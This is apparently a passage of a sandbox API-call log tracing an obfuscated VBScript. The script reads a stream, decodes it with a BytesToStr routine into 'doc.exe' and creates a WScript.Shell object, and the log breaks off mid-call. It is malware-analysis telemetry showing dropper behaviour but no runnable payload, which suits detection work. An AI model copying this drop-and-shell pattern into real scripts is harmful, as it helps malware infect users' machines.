wReserved2=0xd8b0, wReserved3=0x847, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07b58*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b928b0*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x847d948)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x847, wReserved2=0xd8b0, wReserved3=0x847, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07b58*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b928b0*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x847d948)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.975] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.975] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.975] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.975] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.975] GetCurrentThreadId () returned 0xd44 [0087.975] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.975] ??2@YAPAXI@Z () returned 0x86bff10 [0087.975] malloc (_Size=0x804) returned 0x83fc220 [0087.976] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.976] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.976] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.976] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=3) returned 0x0 [0087.976] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.976] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.976] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.976] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.977] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.977] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0087.977] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.978] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.978] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.978] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.978] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.978] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=8) returned 0x0 [0087.978] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.978] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.978] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.978] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.979] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.979] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.979] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.979] GetCurrentThreadId () returned 0xd44 [0087.979] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.980] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.980] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.980] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.980] GetCurrentThreadId () returned 0xd44 [0087.980] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.980] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.981] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.981] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.981] GetCurrentThreadId () returned 0xd44 [0087.981] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.981] ??2@YAPAXI@Z () returned 0x86bff10 [0087.981] malloc (_Size=0x804) returned 0x83fc220 [0087.981] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.981] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.981] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.982] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=19) returned 0x0 [0087.982] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.982] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.982] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="doc.exe", varVal2=0x0), pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.982] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.982] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.982] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.983] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.983] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.983] GetCurrentThreadId () returned 0xd44 [0087.983] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.983] ??2@YAPAXI@Z () returned 0x86bff10 [0087.983] malloc (_Size=0x804) returned 0x83fc220 [0087.983] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.983] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.983] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0087.984] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.984] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.984] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.984] GetCurrentThreadId () returned 0xd44 [0087.984] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.985] ??2@YAPAXI@Z () returned 0x86bff10 [0087.985] malloc (_Size=0x804) returned 0x83fc220 [0087.985] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.985] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.985] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.985] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=11) returned 0x0 [0087.985] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.985] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.985] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.985] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.989] free (_Block=0x1197880) [0087.989] free (_Block=0x86ea2e0) [0087.989] free (_Block=0x844c5d0) [0087.989] free (_Block=0x83d9f10) [0087.989] ??3@YAXPAX@Z () returned 0xc80001 [0087.990] free (_Block=0x1197838) [0087.990] free (_Block=0x11c29f0) [0087.990] free (_Block=0x847b3d8) [0087.990] free (_Block=0x83d9df8) [0087.990] ??3@YAXPAX@Z () returned 0xb60001 [0087.990] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0087.992] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varryb", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0087.992] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varryb", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0087.992] GetCurrentThreadId () returned 0xd44 [0087.992] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.993] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.993] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vardat", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.993] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vardat", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.993] GetCurrentThreadId () returned 0xd44 [0087.993] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.993] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.993] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varcss", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.993] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varcss", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.993] GetCurrentThreadId () returned 0xd44 [0087.994] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.994] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.994] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="oo9i878ui23", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.994] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="oo9i878ui23", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.994] GetCurrentThreadId () returned 0xd44 [0087.994] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.996] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.996] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varf", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.996] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varf", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.996] GetCurrentThreadId () returned 0xd44 [0087.997] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.998] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.998] malloc (_Size=0x804) returned 0x83fc220 [0087.998] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.999] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0087.999] SysStringLen (param_1=0x0) returned 0x0 [0087.999] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x1112950) returned 0x0 [0087.999] WshShell:IUnknown:QueryInterface (in: This=0x1112950, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0087.999] WshShell:IClassFactory:CreateInstance (in: This=0x1112950, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x86bff24) returned 0x0 [0087.999] WshShell:IUnknown:Release (This=0x1112950) returned 0x0 [0087.999] WshShell:IUnknown:QueryInterface (in: This=0x86bff24, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0087.999] WshShell:IUnknown:QueryInterface (in: This=0x86bff24, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x86bff10) returned 0x0 [0087.999] WshShell:IUnknown:AddRef (This=0x86bff10) returned 0x3 [0087.999] WshShell:IUnknown:Release (This=0x86bff10) returned 0x2 [0088.000] WshShell:IUnknown:Release (This=0x86bff24) returned 0x1 [0088.000] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0088.000] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="objShell", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0088.000] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="objShell", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0088.000] GetCurrentThreadId () returned 0xd44 [0088.000] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.000] WshShell:IUnknown:AddRef (This=0x86bff10) returned 0x2 [0088.001] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.001] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="tohan", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.001] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="tohan", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.001] GetCurrentThreadId () returned 0xd44 [0088.001] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.001] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.001] malloc (_Size=0x804) returned 0x83fc220 [0088.002] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.002] WshShell:IUnknown:QueryInterface (in: This=0x86bff10, 